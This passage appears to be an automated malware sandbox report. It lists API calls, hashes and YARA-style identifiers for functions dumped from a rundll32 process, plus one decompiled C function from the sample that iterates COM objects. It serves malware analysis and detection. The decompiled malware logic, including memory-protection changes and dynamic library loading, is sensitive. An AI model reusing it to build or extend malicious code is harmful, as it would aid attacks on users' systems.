                                            Function 05DE5B7E Relevance: 7.6, APIs: 5, Instructions: 60stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000000,00000000,00000008,05DE4325,00000000,00000000,00000000,00000000,00000000,?,05DD479A,00000000,00000000,00000000,00000000), ref: 05DE5B88
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 05DE5BAC
                                            • StrRChrA.SHLWAPI(00000000,00000000,0000002E,?,00000003,?,05DD479A,00000000,00000000,00000000,00000000), ref: 05DE5BB3
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DE5BFB
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DE5C0A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrcpy$AllocateHeaplstrcatlstrlen
                                            • String ID:
                                            • API String ID: 2616531654-0
                                            • Opcode ID: 9a78647ac0f81e8ac54385fe383c3cff9c6633887b0b6a8ecfd89434050cbbf5
                                            • Instruction ID: 3a1d317f584e95ce7a03c4b78b994682e55ab1442df7e6fd6449325a91ea2d4b
                                            • Opcode Fuzzy Hash: 9a78647ac0f81e8ac54385fe383c3cff9c6633887b0b6a8ecfd89434050cbbf5
                                            • Instruction Fuzzy Hash: 1C11A0362152069BD720ABA9ED89F2FBBEDAB85245F05442AFA05D2200DF30E885C721
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEC301 Relevance: 7.6, APIs: 5, Instructions: 59memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEC9C0: lstrlen.KERNEL32(00000000,00000000,?,00000000,05DF1538,00000000,00000000,00000000,00000000,?,00000022,00000000,00000000,00000000,?,?), ref: 05DEC9CC
                                            • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 05DEC32A
                                            • memcpy.NTDLL(00000000,?,?), ref: 05DEC33D
                                            • RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DEC34E
                                            • RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DEC363
                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 05DEC39B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalHeapSection$AllocateEnterFreeLeavelstrlenmemcpy
                                            • String ID:
                                            • API String ID: 2349942465-0
                                            • Opcode ID: f85fbf89410b552daad8a6ed10085fdf770d9073abe214d0550efb1084b4e3df
                                            • Instruction ID: 23b4b3292ffe54989b10542f42f8d59969c0e8fff3a19a441a458c550a209ce9
                                            • Opcode Fuzzy Hash: f85fbf89410b552daad8a6ed10085fdf770d9073abe214d0550efb1084b4e3df
                                            • Instruction Fuzzy Hash: B111E172624210AFC7206F2CEC89D6BBFADEB85321702412BF94693320CA319C55CBB5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEA952 Relevance: 7.6, APIs: 5, Instructions: 57memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(05DDB047,00000000,00000000,00000000,?,05DF090A,?,05DDB047,00000000), ref: 05DEA968
                                            • lstrlen.KERNEL32(?,?,05DF090A,?,05DDB047,00000000), ref: 05DEA96F
                                            • RtlAllocateHeap.NTDLL(00000000,00000029), ref: 05DEA97D
                                              • Part of subcall function 05DD6FF3: GetLocalTime.KERNEL32(?,?,?,?,05DD161B,00000000,00000001), ref: 05DD6FFD
                                              • Part of subcall function 05DD6FF3: wsprintfA.USER32 ref: 05DD7030
                                            • wsprintfA.USER32 ref: 05DEA99F
                                              • Part of subcall function 05DEEAB5: GetSystemTime.KERNEL32(?,00000000,00000000,00000000,?,05DEA9C7,00000000,?,00000000,00000000,00000006,?,?,?,00000000), ref: 05DEEAD3
                                              • Part of subcall function 05DEEAB5: wsprintfA.USER32 ref: 05DEEAF8
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000006,?,?,?,00000000), ref: 05DEA9D0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: wsprintf$HeapTimelstrlen$AllocateFreeLocalSystem
                                            • String ID:
                                            • API String ID: 3847261958-0
                                            • Opcode ID: a8a13d3623e962599e4633d02b101aa4257d4a38c0180970f67d43446a001af8
                                            • Instruction ID: 64663e5f2684c4fd133d9cd515d66994793149b29b19f7ff270c6e6d32e6c069
                                            • Opcode Fuzzy Hash: a8a13d3623e962599e4633d02b101aa4257d4a38c0180970f67d43446a001af8
                                            • Instruction Fuzzy Hash: EB016132500118BFDB116F6AEC49E9B7F6EFB84660B008023FD1996210DA368995DBB0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEC090 Relevance: 7.6, APIs: 5, Instructions: 56COMMON
                                            Download Yara Rule
                                            APIs
                                            • ResetEvent.KERNEL32(?,00000008,00000000,0000EA60,00000000,00000000,00000000,?,05DEA6B6,?,?,00000000,05DDD3E9,?,00000000), ref: 05DEC0CF
                                            • ResetEvent.KERNEL32(?,?,05DEA6B6,?,?,00000000,05DDD3E9,?,00000000), ref: 05DEC0D4
                                            • GetLastError.KERNEL32(05DEA6B6,?,?,00000000,05DDD3E9,?,00000000), ref: 05DEC0EF
                                            • GetLastError.KERNEL32(0000EA60,00000000,00000000,00000000,?,05DEA6B6,?,?,00000000,05DDD3E9,?,00000000), ref: 05DEC11E
                                              • Part of subcall function 05DDF123: lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,05DEC0A9,00000000,00000000,00000004,00000000,?,05DEA6B6,?,?,00000000), ref: 05DDF12F
                                              • Part of subcall function 05DDF123: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,05DEC0A9,00000000,00000000,00000004,00000000,?,05DEA6B6,?), ref: 05DDF18D
                                              • Part of subcall function 05DDF123: lstrcpy.KERNEL32(00000000,00000000), ref: 05DDF19D
                                            • SetEvent.KERNEL32(?,05DEA6B6,?,?,00000000,05DDD3E9,?,00000000), ref: 05DEC110
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
                                            • String ID:
                                            • API String ID: 1449191863-0
                                            • Opcode ID: 350d16333d76ecd3eccddd19e1feef1c047fce07872c4a30f6ece4969fbe2ace
                                            • Instruction ID: c12a33a653cc1057655283d68bcc4c04a35f3a6dd8516354f1a44d4c6d789c7b
                                            • Opcode Fuzzy Hash: 350d16333d76ecd3eccddd19e1feef1c047fce07872c4a30f6ece4969fbe2ace
                                            • Instruction Fuzzy Hash: B311CE32120609AFDF206F64DC49EAB3BAAFF043A0F104622F916811B0CB31DCA1DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE9F3E Relevance: 7.6, APIs: 5, Instructions: 55memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,00004000,-00000008), ref: 05DE9F55
                                              • Part of subcall function 05DDE628: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 05DDE63F
                                              • Part of subcall function 05DDE628: SetEvent.KERNEL32(?,?,?,?,05DDD3E9,?,?), ref: 05DDE64F
                                            • lstrlen.KERNEL32(?,?,?,?,?,05DE055F,?,?), ref: 05DE9F78
                                            • lstrlen.KERNEL32(?,?,?,?,05DE055F,?,?), ref: 05DE9F82
                                            • memcpy.NTDLL(?,?,00004000,?,?,05DE055F,?,?), ref: 05DE9F93
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,05DE055F,?,?), ref: 05DE9FB5
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heaplstrlen$AllocateEventFreeObjectSingleWaitmemcpy
                                            • String ID:
                                            • API String ID: 442095154-0
                                            • Opcode ID: 2f40d0fc8ea4fce9818e25cdc94fb68dcbb374c43dc693c6ad81ab1662039252
                                            • Instruction ID: ba2765d850b35bdbc3f3d97c3d1d78ec437fa87e8fb945040373b2f1bdc6ec7f
                                            • Opcode Fuzzy Hash: 2f40d0fc8ea4fce9818e25cdc94fb68dcbb374c43dc693c6ad81ab1662039252
                                            • Instruction Fuzzy Hash: 6A118E75A04604FFDB11AF68EC55E5EBFB9EB85320F204026F906A3350DB31DD408B20
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD65B6 Relevance: 7.5, APIs: 5, Instructions: 49memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDADF8: lstrlen.KERNEL32(?,00000008,-00000007,?,00000000,05DEA2DC,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DDAE07
                                              • Part of subcall function 05DDADF8: mbstowcs.NTDLL ref: 05DDAE23
                                            • lstrlenW.KERNEL32(00000000,76F1F560,00000000,?,00000000,?,?,05DD5512,00000020), ref: 05DD65E2
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DD65F4
                                            • CreateDirectoryW.KERNEL32(00000000,00000000,?,?,05DD5512,00000020), ref: 05DD6611
                                            • lstrlenW.KERNEL32(00000000,?,?,05DD5512,00000020), ref: 05DD661D
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,05DD5512,00000020), ref: 05DD6631
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$Heap$AllocateCreateDirectoryFreembstowcs
                                            • String ID:
                                            • API String ID: 3403466626-0
                                            • Opcode ID: df9ae7d77842b742a49d0f9c3d749d35d7e34e3199dd0b39f58c8a6c5eea5fe0
                                            • Instruction ID: d9e04e32937399bfd64d3b341e4d1d14f5ab9b366c6561fc33335794be3d40c1
                                            • Opcode Fuzzy Hash: df9ae7d77842b742a49d0f9c3d749d35d7e34e3199dd0b39f58c8a6c5eea5fe0
                                            • Instruction Fuzzy Hash: EA016572511204AFDB019F9CEC8AF9A7BACEB09710F004067FA0997250DB749A488BA5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE9EC4 Relevance: 7.5, APIs: 5, Instructions: 45libraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleA.KERNEL32 ref: 05DE9EE4
                                            • GetModuleHandleA.KERNEL32 ref: 05DE9EF2
                                            • LoadLibraryExW.KERNEL32(?,?,?), ref: 05DE9EFF
                                            • GetModuleHandleA.KERNEL32 ref: 05DE9F16
                                            • GetModuleHandleA.KERNEL32 ref: 05DE9F22
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: HandleModule$LibraryLoad
                                            • String ID:
                                            • API String ID: 1178273743-0
                                            • Opcode ID: 07171592d25c4b572307952a50b98a408e195a4373a910df08ba7c4e0ecb1c7d
                                            • Instruction ID: d3d71b8af11ef8f92ce370bcac3b8ea06bae4fcf8ccb8330a8dc972cb18020ce
                                            • Opcode Fuzzy Hash: 07171592d25c4b572307952a50b98a408e195a4373a910df08ba7c4e0ecb1c7d
                                            • Instruction Fuzzy Hash: 4D01193161630AAFDF016F6DEC51E6A7FAAFF592603150137F919C2261DF71C821ABA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDB7FA Relevance: 7.5, APIs: 5, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrChrA.SHLWAPI(00000000,0000003D,00000000,00000000,?,05DF1EAE), ref: 05DDB800
                                            • StrTrimA.SHLWAPI(00000001,?,?,05DF1EAE), ref: 05DDB823
                                            • StrTrimA.SHLWAPI(00000000,?,?,05DF1EAE), ref: 05DDB832
                                            • _strupr.NTDLL ref: 05DDB835
                                            • lstrlen.KERNEL32(00000000,05DF1EAE), ref: 05DDB83D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Trim$_struprlstrlen
                                            • String ID:
                                            • API String ID: 2280331511-0
                                            • Opcode ID: 6a24bab3abe8516e44fce8888df59d0c63dd431e832ea66000ee985613d31f96
                                            • Instruction ID: bec58002235ec1cd283419aa563d76e36a5c5b89f35452af7de1d5ae778ff145
                                            • Opcode Fuzzy Hash: 6a24bab3abe8516e44fce8888df59d0c63dd431e832ea66000ee985613d31f96
                                            • Instruction Fuzzy Hash: AEF06D31721015AFEA15AB68EC8EF7F7BADEB49715B00405BF405CB380EF249C428B61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDE726 Relevance: 7.5, APIs: 5, Instructions: 42memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(05DF9420), ref: 05DDE731
                                            • RtlLeaveCriticalSection.NTDLL(05DF9420), ref: 05DDE742
                                            • VirtualProtect.KERNEL32(?,00000004,00000040,0000007F,?,?,05DD74E7,?,?,05DF9448,05DD340D,00000003), ref: 05DDE759
                                            • VirtualProtect.KERNEL32(?,00000004,0000007F,0000007F,?,?,05DD74E7,?,?,05DF9448,05DD340D,00000003), ref: 05DDE773
                                            • GetLastError.KERNEL32(?,?,05DD74E7,?,?,05DF9448,05DD340D,00000003), ref: 05DDE780
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalProtectSectionVirtual$EnterErrorLastLeave
                                            • String ID:
                                            • API String ID: 653387826-0
                                            • Opcode ID: 2444b64140f69861eba75f515e67855d7336929e6c158db35e5cd380f35d635d
                                            • Instruction ID: 1d25cb24b7f1c36a794b2535755560b99fb1469b07764218da0353b671aeaf41
                                            • Opcode Fuzzy Hash: 2444b64140f69861eba75f515e67855d7336929e6c158db35e5cd380f35d635d
                                            • Instruction Fuzzy Hash: EB018B7A200204AFDB209F68DC05D6BBBF9FF88320B11852AFA5697350DB30E901CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE199F Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,05DE5D07,?), ref: 05DE19A7
                                            • GetVersion.KERNEL32 ref: 05DE19B6
                                            • GetCurrentProcessId.KERNEL32 ref: 05DE19D2
                                            • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 05DE19EF
                                            • GetLastError.KERNEL32 ref: 05DE1A0E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                                            • String ID:
                                            • API String ID: 2270775618-0
                                            • Opcode ID: 32261646ad2189c86246d54dd49586017d00169b2867bd7063d1b50db497e0bc
                                            • Instruction ID: 2a34d9068750ba397bd3a3927de90a75aef457bbf4580dcf8062c7f7b90c7a4e
                                            • Opcode Fuzzy Hash: 32261646ad2189c86246d54dd49586017d00169b2867bd7063d1b50db497e0bc
                                            • Instruction Fuzzy Hash: ABF0C9B0B653429BDB24AFA8A82BB663EA2B744751F10052BF556D63C0DF708092CB14
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDF9D0 Relevance: 7.5, APIs: 5, Instructions: 35synchronizationthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentThreadId.KERNEL32 ref: 05DDF9DD
                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000040), ref: 05DDF9ED
                                            • CloseHandle.KERNEL32(00000000,?,?,00000040), ref: 05DDF9F6
                                            • VirtualFree.KERNEL32(000003E8,00000000,00008000,?,00000000,05DD7779,?,?,00000040), ref: 05DDFA14
                                            • VirtualFree.KERNEL32(00002710,00000000,00008000,?,00000000,05DD7779,?,?,00000040), ref: 05DDFA21
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FreeVirtual$CloseCurrentHandleObjectSingleThreadWait
                                            • String ID:
                                            • API String ID: 3667519916-0
                                            • Opcode ID: 01ce3b9120639e6bc500732e3253e63ef21c427837006a5ecf9709364e02a574
                                            • Instruction ID: e92071d22d9c7c05c4b0d862f3b248bcc1257e707595f70f72ec3d4f569e464e
                                            • Opcode Fuzzy Hash: 01ce3b9120639e6bc500732e3253e63ef21c427837006a5ecf9709364e02a574
                                            • Instruction Fuzzy Hash: 51F03A32214705ABDB20AB69EC49F1BF6A8FF48251F114A1BF543D26A0DB24E885CB34
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEF857 Relevance: 6.3, APIs: 5, Instructions: 78memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?,00000000,00000000,?,?,?,?,?), ref: 05DEF87B
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • wsprintfA.USER32 ref: 05DEF8AC
                                              • Part of subcall function 05DDB175: GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000030,?,?,?,?,?,?,?,?,?,?,?,05DE2B68), ref: 05DDB18B
                                              • Part of subcall function 05DDB175: wsprintfA.USER32 ref: 05DDB1B3
                                              • Part of subcall function 05DDB175: lstrlen.KERNEL32(?), ref: 05DDB1C2
                                              • Part of subcall function 05DDB175: wsprintfA.USER32 ref: 05DDB202
                                              • Part of subcall function 05DDB175: wsprintfA.USER32 ref: 05DDB237
                                              • Part of subcall function 05DDB175: memcpy.NTDLL(00000000,?,?), ref: 05DDB244
                                              • Part of subcall function 05DDB175: memcpy.NTDLL(00000008,05DF43E8,00000002,00000000,?,?), ref: 05DDB259
                                              • Part of subcall function 05DDB175: wsprintfA.USER32 ref: 05DDB27C
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 05DEF921
                                              • Part of subcall function 05DF240D: RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DF2423
                                              • Part of subcall function 05DF240D: RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DF243E
                                            • HeapFree.KERNEL32(00000000,?,?,?,00000001,?,?,?,?,00000000,00000000,?,?,?), ref: 05DEF90B
                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 05DEF917
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: wsprintf$Heap$Free$CriticalSectionTimelstrlenmemcpy$AllocateEnterFileLeaveSystem
                                            • String ID:
                                            • API String ID: 3553201432-0
                                            • Opcode ID: a372ebdd788ae239440d6a5469eff87522d7e82be3e43c97a2a2f90743b4dbde
                                            • Instruction ID: 76c79082193741153bd75df4e0e786379c80e1be0847dccb4e1d5f03be138b5c
                                            • Opcode Fuzzy Hash: a372ebdd788ae239440d6a5469eff87522d7e82be3e43c97a2a2f90743b4dbde
                                            • Instruction Fuzzy Hash: 8821E476900149FFDF01EFA9EC89D9F7FB9FB48310B004427F915A6220E6719A64DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEF372 Relevance: 6.3, APIs: 5, Instructions: 76memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEF3CF
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEF3E0
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEF3F8
                                            • CloseHandle.KERNEL32(?), ref: 05DEF412
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEF427
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FreeHeap$CloseHandle
                                            • String ID:
                                            • API String ID: 1910495013-0
                                            • Opcode ID: 2eee9889881fe536d99967b23a0dc2ffd03a121ca3fab4fb0212baa9e38a0e9a
                                            • Instruction ID: f81642cdb01e151121aae833ece81a3044a3643f390e467cfaafb623532a53de
                                            • Opcode Fuzzy Hash: 2eee9889881fe536d99967b23a0dc2ffd03a121ca3fab4fb0212baa9e38a0e9a
                                            • Instruction Fuzzy Hash: 80210B71605522AFD715AB69EC88D5AFB6AFF48B113544416F40AD3610C731FCA1CBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD30BA Relevance: 6.2, APIs: 4, Instructions: 192COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD6778: RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\WAB\DLLPath,?), ref: 05DD6793
                                              • Part of subcall function 05DD6778: LoadLibraryA.KERNEL32(00000000,?,?,?,?), ref: 05DD67E1
                                              • Part of subcall function 05DD6778: GetProcAddress.KERNEL32(00000000,?), ref: 05DD67FA
                                              • Part of subcall function 05DD6778: RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 05DD684B
                                            • GetLastError.KERNEL32(?,?,?), ref: 05DD3248
                                            • FreeLibrary.KERNEL32(?,?,?), ref: 05DD32B0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Library$AddressCloseErrorFreeLastLoadOpenProc
                                            • String ID:
                                            • API String ID: 1730969706-0
                                            • Opcode ID: e1c35d9c2c4272a03fdb383795893d807f2b72ea02a509b565e1724c009aad44
                                            • Instruction ID: a5768957e8540812484812377ff2fdde09b6f5ee4abd3c955c0793c570813294
                                            • Opcode Fuzzy Hash: e1c35d9c2c4272a03fdb383795893d807f2b72ea02a509b565e1724c009aad44
                                            • Instruction Fuzzy Hash: E471EA75E0020AEFCF10DFE4C9849AEFBB9FF49305B14896AE516A7250D731A941CF61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB5D8F Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 46%
                                            			E04AB5D8F(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x4aba348; // 0xb6d5a8
					_t5 = _t103 + 0x4abb038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x4ab9290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x4aba348; // 0xb6d5a8
												_t28 = _t109 + 0x4abb0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x4aba348; // 0xb6d5a8
														_t33 = _t79 + 0x4abb078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                                            0x04ab5d94
                                            0x04ab5d9d
                                            0x04ab5d9e
                                            0x04ab5da2
                                            0x04ab5da8
                                            0x04ab5dae
                                            0x04ab5db7
                                            0x04ab5dbd
                                            0x04ab5dc7
                                            0x04ab5dc9
                                            0x04ab5dcf
                                            0x04ab5dd4
                                            0x04ab5ddf
                                            0x04ab5de5
                                            0x04ab5dea
                                            0x04ab5f0c
                                            0x04ab5df0
                                            0x04ab5df0
                                            0x04ab5dfd
                                            0x04ab5e03
                                            0x04ab5e09
                                            0x04ab5e0d
                                            0x04ab5e13
                                            0x04ab5e20
                                            0x04ab5e24
                                            0x04ab5e2a
                                            0x04ab5e2d
                                            0x04ab5e35
                                            0x04ab5e36
                                            0x04ab5e3a
                                            0x04ab5e3e
                                            0x04ab5e41
                                            0x04ab5e44
                                            0x04ab5e4a
                                            0x04ab5e53
                                            0x04ab5e59
                                            0x04ab5e5a
                                            0x04ab5e5d
                                            0x04ab5e5e
                                            0x04ab5e5f
                                            0x04ab5e67
                                            0x04ab5e68
                                            0x04ab5e69
                                            0x04ab5e6b
                                            0x04ab5e6f
                                            0x04ab5e73
                                            0x00000000
                                            0x00000000
                                            0x04ab5e79
                                            0x04ab5e82
                                            0x04ab5e88
                                            0x04ab5e92
                                            0x04ab5e96
                                            0x04ab5e98
                                            0x04ab5ea5
                                            0x04ab5ea9
                                            0x04ab5eb1
